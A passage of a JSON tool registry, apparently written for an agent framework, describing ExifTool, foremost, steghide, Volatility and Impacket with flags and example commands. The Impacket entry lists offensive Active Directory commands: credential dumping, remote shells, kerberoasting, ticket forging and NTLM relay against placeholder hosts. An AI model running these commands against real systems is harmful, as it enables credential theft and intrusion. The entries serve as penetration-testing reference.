        "flag": "-ext"
      },
      {
        "name": "flag-d",
        "type": "string",
        "required": false,
        "description": "Date format string",
        "aliases": [
          "-d",
          "--date-format"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-v",
        "type": "integer",
        "required": false,
        "description": "Verbose level (0-5)",
        "default_value": "0",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "list",
        "type": "boolean",
        "required": false,
        "description": "List supported file types",
        "aliases": [
          "-list",
          "--list"
        ],
        "flag": "-list"
      },
      {
        "name": "listx",
        "type": "boolean",
        "required": false,
        "description": "List supported file types as XML",
        "aliases": [
          "-listx",
          "--listx"
        ],
        "flag": "-listx"
      },
      {
        "name": "charset",
        "type": "string",
        "required": false,
        "description": "Character set for output encoding",
        "aliases": [
          "-charset",
          "--charset"
        ],
        "flag": "-charset"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "FMT  Date format (strftime syntax)",
        "aliases": [
          "-d",
          "--date-format"
        ],
        "flag": "-d"
      },
      {
        "name": "ext",
        "type": "boolean",
        "required": false,
        "description": "EXT  Process only files with extension",
        "aliases": [
          "-ext",
          "--extension"
        ],
        "flag": "-ext"
      },
      {
        "name": "p",
        "type": "boolean",
        "required": false,
        "description": "Custom print format string",
        "aliases": [
          "-p",
          "--print-format"
        ],
        "flag": "-p"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "Include unknown tags",
        "aliases": [
          "-u",
          "--unknown"
        ],
        "flag": "-u"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": ")",
        "aliases": [
          "-v",
          "--verbose",
          "-5"
        ],
        "flag": "-v"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "ExifTool Homepage",
        "url": "https://exiftool.org/"
      },
      {
        "label": "ExifTool Documentation",
        "url": "https://exiftool.org/exiftool_pod.html"
      }
    ],
    "related_tools": [
      "strings",
      "binwalk",
      "file"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "metadata",
        "exif-data",
        "metadata-report"
      ],
      "consumes": [
        "target-file",
        "target-directory"
      ]
    }
  },
  {
    "_body": "\n# Foremost — File Carving Tool\n\nForemost recovers deleted files from disk images by matching file headers and footers. It supports a wide range of file types including JPEG, PNG, PDF, ZIP, DOC, and many more through a configurable signature database.\n\n## Key Features\n\n- **Header/footer carving**: Matches known file signatures\n- **Configurable types**: Custom carve configurations via config file\n- **Audit logging**: Tracks every recovered file with metadata\n- **Carving depth**: Recovers files from unallocated disk space\n",
    "_source": "security-forensics-foremost.md",
    "allowed-tools": [
      "foremost",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "forensics.file.carved",
        "description": "Recovered carved file",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "forensics.report.text",
        "description": "Carving audit log",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "forensics.file.carving",
      "disk.recovery.deleted",
      "forensics.header.signature"
    ],
    "contract": {
      "inputs": [
        {
          "type": "disk.image.file",
          "description": "Path to the disk image or raw device"
        },
        {
          "type": "directory.path",
          "description": "Output directory for carved files"
        },
        {
          "type": "forensics.config.file",
          "description": "Custom configuration file for file types"
        }
      ],
      "outputs": [
        {
          "type": "forensics.file.carved",
          "description": "Recovered files organized by type",
          "mime": "application/octet-stream"
        },
        {
          "type": "forensics.report.text",
          "description": "Carving summary and audit log",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "none",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "File carving tool that recovers deleted files from disk images based on file headers and footers.",
    "examples": [
      {
        "description": "Recover all supported file types from a disk image",
        "command": "foremost -i disk.raw -o carved_output"
      },
      {
        "description": "Recover only JPEG and PNG files",
        "command": "foremost -i disk.raw -o carved_output -t jpg,png"
      },
      {
        "description": "Use custom configuration and block size",
        "command": "foremost -i disk.raw -o carved_output -c custom.conf -b 1024"
      },
      {
        "description": "Skip first 1MB of the image and keep temp files",
        "command": "foremost -i disk.raw -o carved_output -s 1048576 -k"
      },
      {
        "description": "Verbose carving with specific file types",
        "command": "foremost -v -i disk.raw -o carved_output -t pdf,doc,zip"
      },
      {
        "description": "Display help",
        "command": "foremost -h"
      }
    ],
    "execution": {
      "template": "foremost -i {image-file} -o {output-dir}",
      "sandbox": "execFile",
      "timeout_seconds": 1800,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {
      "image-file": "disk.raw",
      "output-dir": "carved_output"
    },
    "id": "security-forensics-foremost",
    "install": [
      {
        "method": "apt",
        "package_name": "foremost",
        "commands": [
          "apt-get install -y foremost"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "foremost",
    "namespace": "security:forensics:foremost",
    "parameters": [
      {
        "name": "flag-i",
        "type": "file",
        "required": true,
        "description": "Input file or disk image to carve",
        "aliases": [
          "-i",
          "--input"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-o",
        "type": "string",
        "required": true,
        "description": "Output directory for carved files",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-q",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode — display only errors",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-v",
        "type": "boolean",
        "required": false,
        "description": "Verbose mode — display detailed progress",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-b",
        "type": "integer",
        "required": false,
        "description": "Block size in bytes (default: 512)",
        "default_value": "512",
        "aliases": [
          "-b",
          "--block-size"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "type": "file",
        "required": false,
        "description": "Configuration file for carving types",
        "aliases": [
          "-c",
          "--config"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-t",
        "type": "string",
        "required": false,
        "description": "File types to carve (e.g. jpg,png,pdf)",
        "aliases": [
          "-t",
          "--type"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-d",
        "type": "boolean",
        "required": false,
        "description": "Debug mode — print internal operations",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-s",
        "type": "integer",
        "required": false,
        "description": "Skip N bytes at the start of the image",
        "default_value": "0",
        "aliases": [
          "-s",
          "--skip"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-k",
        "type": "boolean",
        "required": false,
        "description": "Keep temporary files after carving",
        "aliases": [
          "-k",
          "--keep"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-T",
        "type": "integer",
        "required": false,
        "description": "Timeout in seconds per file type",
        "aliases": [
          "-T",
          "--timeout"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-V",
        "type": "boolean",
        "required": false,
        "description": "Display version information",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "flag-h",
        "type": "boolean",
        "required": false,
        "description": "Display help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Foremost GitHub",
        "url": "https://github.com/korczis/foremost"
      },
      {
        "label": "Foremost man page",
        "url": "https://manpages.debian.org/testing/foremost/foremost.1.en.html"
      }
    ],
    "related_tools": [
      "binwalk",
      "autopsy",
      "volatility",
      "scalpel"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "none",
      "disk_io": "high"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "carved-files",
        "carving-report"
      ],
      "consumes": [
        "disk-image"
      ]
    }
  },
  {
    "_body": "\n# Steghide — Steganography Tool\n\nSteghide embeds and extracts hidden data in JPEG, BMP, WAV, and AU files. It uses a passphrase for encryption and supports compression and various encryption algorithms.\n\n## Key Features\n\n- **Multiple formats**: JPEG, BMP, WAV, AU cover files\n- **Encryption**: AES, Twofish, and other algorithms via -e flag\n- **Compression**: Pre-embedding compression with adjustable level\n- **Stego detection**: The `info` subcommand reveals embedded data metadata\n",
    "_source": "security-forensics-steghide.md",
    "allowed-tools": [
      "steghide",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "steganography.embedded.file",
        "description": "File with embedded hidden data",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "steganography.extracted.file",
        "description": "Extracted hidden data from stego file",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "steganography.embed",
      "steganography.extract",
      "steganography.info",
      "forensics.data.hiding"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.path",
          "description": "Cover file (image/audio) to embed data into"
        },
        {
          "type": "file.path",
          "description": "Data file to embed"
        },
        {
          "type": "string",
          "description": "Passphrase for encryption"
        }
      ],
      "outputs": [
        {
          "type": "file.path",
          "description": "Stego file with embedded data",
          "mime": "application/octet-stream"
        },
        {
          "type": "file.path",
          "description": "Extracted data file",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Steganography tool for embedding and extracting hidden data within image and audio files.",
    "examples": [
      {
        "description": "Embed a file into a JPEG image",
        "command": "steghide embed -cf cover.jpg -ef secret.txt -p mypassphrase"
      },
      {
        "description": "Extract hidden data from a stego image",
        "command": "steghide extract -sf stego.jpg -p mypassphrase"
      },
      {
        "description": "Embed with encryption and compression",
        "command": "steghide embed -cf cover.wav -ef secret.txt -p mypass -e aes256 -z 9"
      },
      {
        "description": "Display info about a stego file",
        "command": "steghide info stego.jpg"
      },
      {
        "description": "Extract hidden data to a specific output file",
        "command": "steghide extract -sf stego.jpg -p mypass -xf extracted.txt"
      },
      {
        "description": "Embed using quiet mode",
        "command": "steghide embed -q -cf cover.bmp -ef data.zip -p mypass"
      }
    ],
    "execution": {
      "template": "steghide embed -cf {cover} -ef {data} -p {passphrase}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "stealth"
    ],
    "global_vars": {
      "cover": "cover.jpg",
      "data": "secret.txt",
      "passphrase": ""
    },
    "id": "security-forensics-steghide",
    "install": [
      {
        "method": "apt",
        "package_name": "steghide",
        "commands": [
          "apt-get install -y steghide"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "steghide",
    "namespace": "security:forensics:steghide",
    "parameters": [
      {
        "name": "subcommand",
        "type": "string",
        "required": true,
        "description": "Subcommand: embed, extract, or info",
        "aliases": [
          "embed",
          "extract",
          "info"
        ],
        "flag": "info"
      },
      {
        "name": "flag-cf",
        "type": "file",
        "required": false,
        "description": "Cover file (JPEG, BMP, WAV, AU) to hide data in",
        "aliases": [
          "-cf",
          "--cover-file"
        ],
        "flag": "-cf"
      },
      {
        "name": "flag-ef",
        "type": "file",
        "required": false,
        "description": "File to embed into the cover file",
        "aliases": [
          "-ef",
          "--embed-file"
        ],
        "flag": "-ef"
      },
      {
        "name": "flag-p",
        "type": "string",
        "required": false,
        "description": "Passphrase for embedding or extraction",
        "aliases": [
          "-p",
          "--passphrase"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-sf",
        "type": "file",
        "required": false,
        "description": "Stego file (output for embed, input for extract)",
        "aliases": [
          "-sf",
          "--stego-file"
        ],
        "flag": "-sf"
      },
      {
        "name": "flag-xf",
        "type": "file",
        "required": false,
        "description": "File to write extracted data to",
        "aliases": [
          "-xf",
          "--extract-file"
        ],
        "flag": "-xf"
      },
      {
        "name": "flag-z",
        "type": "integer",
        "required": false,
        "description": "Compression level (1-9) before embedding",
        "default_value": "1",
        "aliases": [
          "-z",
          "--compress"
        ],
        "flag": "-z"
      },
      {
        "name": "flag-e",
        "type": "string",
        "required": false,
        "description": "Encryption algorithm to use (e.g. aes256, twofish)",
        "aliases": [
          "-e",
          "--encryption"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-a",
        "type": "string",
        "required": false,
        "description": "Embedding algorithm",
        "aliases": [
          "-a",
          "--algorithm"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-q",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode — suppress warnings",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "info",
        "type": "boolean",
        "required": false,
        "description": "Display information about a stego file",
        "aliases": [
          "--info"
        ],
        "flag": "--info"
      },
      {
        "name": "algorithm",
        "type": "boolean",
        "required": false,
        "description": "ALGO      Embedding algorithm",
        "aliases": [
          "--algorithm"
        ],
        "flag": "--algorithm"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Steghide SourceForge",
        "url": "https://steghide.sourceforge.net/"
      },
      {
        "label": "Steghide man page",
        "url": "https://manpages.debian.org/testing/steghide/steghide.1.en.html"
      }
    ],
    "related_tools": [
      "binwalk",
      "foremost",
      "zsteg",
      "strings"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "stego-file",
        "extracted-data"
      ],
      "consumes": [
        "cover-file",
        "embed-file",
        "stego-file"
      ]
    }
  },
  {
    "_body": "\n# Volatility — Memory Forensics Framework\n\nVolatility is an advanced open-source memory forensics framework written in Python. It analyzes RAM dumps from Windows, Linux, and macOS systems to extract running processes, open network connections, loaded kernel modules, registry hives, and other critical forensic artifacts.\n\n## Key Features\n\n- **Cross-platform**: Supports Windows, Linux, and macOS memory dumps\n- **Plugin architecture**: Dozens of analysis plugins included\n- **No dependency on live system**: Works entirely from a memory capture\n- **Extensible**: Custom plugins can be written in Python\n\n## Common Plugins\n\n| Plugin | Purpose |\n|--------|---------|\n| `windows.pslist` | List running processes |\n| `windows.netscan` | Scan network connections |\n| `windows.hivelist` | Show registry hives |\n| `windows.hashdump` | Extract password hashes |\n| `windows.info` | Show dump metadata |\n| `linux.bash` | Recover bash history |\n| `mac.pslist` | List macOS processes |\n",
    "_source": "security-forensics-volatility.md",
    "allowed-tools": [
      "volatility",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "memory.dump.raw",
        "description": "Raw memory dump file",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "forensics.report.json",
        "description": "Volatility analysis results in JSON",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "forensics.report.text",
        "description": "Volatility analysis results in text",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "memory.analysis.process",
      "memory.analysis.network",
      "memory.analysis.registry",
      "memory.analysis.dump",
      "forensics.memory.acquisition"
    ],
    "contract": {
      "inputs": [
        {
          "type": "memory.dump.file",
          "description": "Path to the memory dump file"
        },
        {
          "type": "forensics.plugin",
          "description": "Volatility plugin to execute (e.g. windows.pslist)"
        },
        {
          "type": "directory.path",
          "description": "Path to additional plugin directory"
        }
      ],
      "outputs": [
        {
          "type": "forensics.report.text",
          "description": "Plugin output as plain text",
          "mime": "text/plain"
        },
        {
          "type": "forensics.report.json",
          "description": "Plugin output as JSON",
          "mime": "application/json"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 2048,
        "network": "none",
        "disk_io": "high"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Advanced memory forensics framework for analyzing RAM dumps, extracting processes, network connections, registry hives, and artifacts.",
    "examples": [
      {
        "description": "List running processes from a Windows memory dump",
        "command": "volatility -f memory.raw windows.pslist"
      },
      {
        "description": "Scan network connections from a memory dump",
        "command": "volatility -f memory.raw windows.netscan"
      },
      {
        "description": "Dump registry hives from a memory dump",
        "command": "volatility -f memory.raw windows.hivelist"
      },
      {
        "description": "Extract password hashes from a memory dump",
        "command": "volatility -f memory.raw windows.hashdump"
      },
      {
        "description": "List available plugins",
        "command": "volatility -l"
      },
      {
        "description": "Show memory dump info and profile suggestion",
        "command": "volatility -f memory.raw windows.info"
      },
      {
        "description": "List bash history from a Linux memory dump",
        "command": "volatility -f linux.mem linux.bash"
      },
      {
        "description": "Use custom plugin directory",
        "command": "volatility -f memory.raw -p /opt/volatility_plugins windows.pslist"
      }
    ],
    "execution": {
      "template": "volatility -f {memory-dump} {plugin}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "process-manip",
      "remote"
    ],
    "global_vars": {
      "memory-dump": "memory.raw",
      "plugin": "windows.pslist"
    },
    "id": "security-forensics-volatility",
    "install": [
      {
        "method": "pip",
        "package_name": "volatility3",
        "commands": [
          "pip install volatility3"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "volatility",
    "namespace": "security:forensics:volatility",
    "parameters": [
      {
        "name": "flag-f",
        "type": "file",
        "required": true,
        "description": "Memory dump file to analyze",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-p",
        "type": "string",
        "required": false,
        "description": "Additional plugin directory path",
        "aliases": [
          "-p",
          "--plugin-path"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-r",
        "type": "integer",
        "required": false,
        "description": "Recursion depth for layered plugins",
        "default_value": "0",
        "aliases": [
          "-r",
          "--recursion"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-v",
        "type": "integer",
        "required": false,
        "description": "Verbosity level (1-5)",
        "default_value": "1",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-q",
        "type": "boolean",
        "required": false,
        "description": "Quiet mode — suppress output except errors",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-y",
        "type": "string",
        "required": false,
        "description": "YARA rule file for scanning",
        "aliases": [
          "-y",
          "--yara"
        ],
        "flag": "-y"
      },
      {
        "name": "flag-l",
        "type": "boolean",
        "required": false,
        "description": "List all available plugins",
        "aliases": [
          "-l",
          "--list-plugins"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-s",
        "type": "integer",
        "required": false,
        "description": "Session ID to resume or manage",
        "aliases": [
          "-s",
          "--sessions"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-c",
        "type": "file",
        "required": false,
        "description": "Configuration file path",
        "aliases": [
          "-c",
          "--config"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-o",
        "type": "string",
        "required": false,
        "description": "Output format (text, json, sqlite)",
        "default_value": "text",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "single-location",
        "type": "string",
        "required": false,
        "description": "Single memory location to scan",
        "aliases": [
          "--single-location"
        ],
        "flag": "--single-location"
      },
      {
        "name": "physical",
        "type": "boolean",
        "required": false,
        "description": "Use physical address space",
        "aliases": [
          "--physical"
        ],
        "flag": "--physical"
      },
      {
        "name": "output-dir",
        "type": "string",
        "required": false,
        "description": "Directory for output files",
        "aliases": [
          "--output-dir"
        ],
        "flag": "--output-dir"
      },
      {
        "name": "flag-i",
        "type": "boolean",
        "required": false,
        "description": "Display information about the memory dump",
        "aliases": [
          "-i",
          "--info"
        ],
        "flag": "-i"
      },
      {
        "name": "plugin",
        "type": "string",
        "required": false,
        "description": "Plugin to run (e.g. windows.pslist, windows.netscan)",
        "aliases": [
          "windows.info",
          "windows.pslist",
          "windows.netscan",
          "windows.hivelist",
          "windows.hashdump",
          "linux.bash",
          "linux.pslist",
          "mac.pslist"
        ],
        "flag": "linux.bash"
      },
      {
        "name": "output_dir",
        "type": "boolean",
        "required": false,
        "description": "DIR           Directory for output files",
        "aliases": [
          "--output-dir"
        ],
        "flag": "--output-dir"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "N        Recursion depth (default: 0)",
        "aliases": [
          "-r",
          "--recursion"
        ],
        "flag": "-r"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "ID       Session management",
        "aliases": [
          "-s",
          "--sessions"
        ],
        "flag": "-s"
      },
      {
        "name": "y",
        "type": "boolean",
        "required": false,
        "description": "FILE       YARA rule file",
        "aliases": [
          "-y",
          "--yara"
        ],
        "flag": "-y"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Volatility 3 GitHub",
        "url": "https://github.com/volatilityfoundation/volatility3"
      },
      {
        "label": "Volatility Documentation",
        "url": "https://volatility3.readthedocs.io/"
      }
    ],
    "related_tools": [
      "autopsy",
      "binwalk",
      "foremost"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 2048,
      "network": "none",
      "disk_io": "high"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "memory-analysis",
        "process-list",
        "network-connections",
        "registry-hives",
        "hash-dump"
      ],
      "consumes": [
        "memory-dump",
        "plugin-path"
      ]
    }
  },
  {
    "_body": "\n# Impacket — AD Exploitation Suite\n\nImpacket is a collection of Python classes for working with network protocols and a suite of executable scripts covering nearly every aspect of Active Directory assessment.\n\n## Key Scripts\n\n| Category | Scripts |\n|----------|---------|\n| **Credential Dumping** | `secretsdump`, `lsadump`, `samrdump` |\n| **Remote Execution** | `psexec`, `wmiexec`, `smbexec`, `atexec`, `dcomexec` |\n| **Kerberos** | `GetNPUsers`, `GetUserSPNs`, `getTGT`, `getST`, `ticketer` |\n| **Relay** | `ntlmrelayx`, `smbrelayx` |\n| **Enumeration** | `lookupsid`, `rpcdump`, `smbclient`, `reg` |\n| **AD CS** | `addcomputer`, `GetLAPSPasswords` |\n",
    "_source": "impacket.md",
    "allowed-tools": [
      "impacket"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "CredentialAccess",
      "LateralMovement",
      "PrivilegeEscalation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.credential.dump.ntds",
      "security.credential.dump.sam",
      "security.credential.dump.lsa",
      "security.lateral.psexec",
      "security.lateral.wmiexec",
      "security.lateral.smbexec",
      "security.lateral.atexec",
      "security.ad.asreproast",
      "security.ad.kerberoast",
      "security.ad.goldenticket",
      "security.ad.silverticket",
      "security.ad.ntlmrelay",
      "security.ad.enum.users",
      "security.ad.enum.shares",
      "security.ad.laps",
      "security.ad.rbcd",
      "security.ad.coerce",
      "security.ad.rpcdump",
      "security.ad.samrdump"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or domain controller"
        },
        {
          "type": "credential.username",
          "description": "Domain username"
        },
        {
          "type": "credential.password",
          "description": "Plaintext password or NTLM hash"
        }
      ],
      "outputs": [
        {
          "type": "security.credential.dump",
          "description": "Extracted hashes, plaintext, and tickets"
        },
        {
          "type": "security.shell.session",
          "description": "Remote shell session (psexec/wmiexec/etc)"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ]
    },
    "dependencies": [
      "python3"
    ],
    "description": "Collection of Python classes and scripts for working with network protocols and Windows AD, including secretsdump, psexec, wmiexec, kerberoast, and NTLM relay tools.",
    "examples": [
      {
        "description": "Dump all domain credentials from NTDS.dit",
        "command": "impacket-secretsdump -just-dc-ntlm evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "Dump NTDS.dit with NTLM hash authentication",
        "command": "impacket-secretsdump -ntds ntds.dit -system SYSTEM.hive LOCAL"
      },
      {
        "description": "Remote SAM hive dump",
        "command": "impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL"
      },
      {
        "description": "Psexec interactive shell",
        "command": "impacket-psexec evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "WMI exec (less noisy than psexec)",
        "command": "impacket-wmiexec evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "SMB exec via Windows SMB shares",
        "command": "impacket-smbexec evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "Schedule task execution via at.exe / schtasks",
        "command": "impacket-atexec evilcorp.local/administrator:Pass123@10.10.10.1 whoami"
      },
      {
        "description": "AS-REP roasting — find users without pre-authentication",
        "command": "impacket-GetNPUsers -dc-ip 10.10.10.1 -request evilcorp.local/user"
      },
      {
        "description": "Kerberoasting — request TGS for service accounts",
        "command": "impacket-GetUserSPNs -dc-ip 10.10.10.1 -request evilcorp.local/user:Pass123"
      },
      {
        "description": "Get TGT for a user",
        "command": "impacket-getTGT evilcorp.local/user:Pass123 -dc-ip 10.10.10.1"
      },
      {
        "description": "Get service ticket (ST) for impersonation",
        "command": "impacket-getST -dc-ip 10.10.10.1 -spn cifs/target.evilcorp.local evilcorp.local/user:Pass123"
      },
      {
        "description": "Golden ticket — forge KRBTGT ticket",
        "command": "impacket-ticketer -nthashes <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain evilcorp.local administrator"
      },
      {
        "description": "Silver ticket — forge service ticket",
        "command": "impacket-ticketer -nthashes <SERVICE_HASH> -domain-sid <DOMAIN_SID> -domain evilcorp.local -spn cifs/target.evilcorp.local administrator"
      },
      {
        "description": "NTLM relay with ntlmrelayx (capture + relay)",
        "command": "impacket-ntlmrelayx -tf targets.txt -smb2support -socks"
      },
      {
        "description": "NTLM relay to LDAP for RBCD",
        "command": "impacket-ntlmrelayx -t ldap://10.10.10.1 -smb2support --delegate-access"
      },
      {
        "description": "Enumerate users via SAMR protocol",
        "command": "impacket-samrdump -samr 10.10.10.1"
      },
      {
        "description": "Enumerate users via LookupSID",
        "command": "impacket-lookupsid evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "RPC endpoint mapper dump",
        "command": "impacket-rpcdump 10.10.10.1"
      },
      {
        "description": "SMB client interactive shell",
        "command": "impacket-smbclient evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "DCOM execution via MMC20.Application",
        "command": "impacket-dcomexec evilcorp.local/administrator:Pass123@10.10.10.1"
      },
      {
        "description": "LAPS password reader",
        "command": "impacket-GetLAPSPasswords -dc-ip 10.10.10.1 evilcorp.local/user:Pass123"
      },
      {
        "description": "Add computer to domain (ESC1 machine account)",
        "command": "impacket-addcomputer -computer-name 'FAKECOMP$' -computer-pass 'FakePass123' -dc-ip 10.10.10.1 evilcorp.local/user:Pass123"
      }
    ],
    "execution": {
      "template": "impacket-{script} {target}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "process-manip"
    ],
    "global_vars": {
      "target": "ip"
    },
    "id": "security-framework-impacket",
    "install": [
      {
        "method": "pip",
        "package_name": "impacket",
        "commands": [
          "pip install impacket"
        ]
      }
    ],
    "items": [
      "Password",
      "Hash",
      "NoCreds"
    ],
    "mitre_ids": [
      "T1021",
      "T1558",
      "T1550"
    ],
    "name": "impacket",
    "namespace": "security:framework:impacket",
    "parameters": [
      {
        "name": "script",
        "type": "string",
        "required": true,
        "description": "Impacket script name (secretsdump, psexec, wmiexec, etc.)"
      },
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target in format user:pass@ip or domain/user:hash@ip"
      },
      {
        "name": "action",
        "type": "string",
        "required": false,
        "description": "Script-specific action or mode"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Impacket GitHub",
        "url": "https://github.com/fortra/impacket"
      }
    ],
    "related_tools": [
      "netexec",
      "bloodhound",
      "evil-winrm"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [
      "SMB",
      "LDAP",
      "Kerberos",
      "WinRM",
      "RPC"
    ],
    "techniques": [
      "credential-access",
      "lateral-movement",
      "privilege-escalation",
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
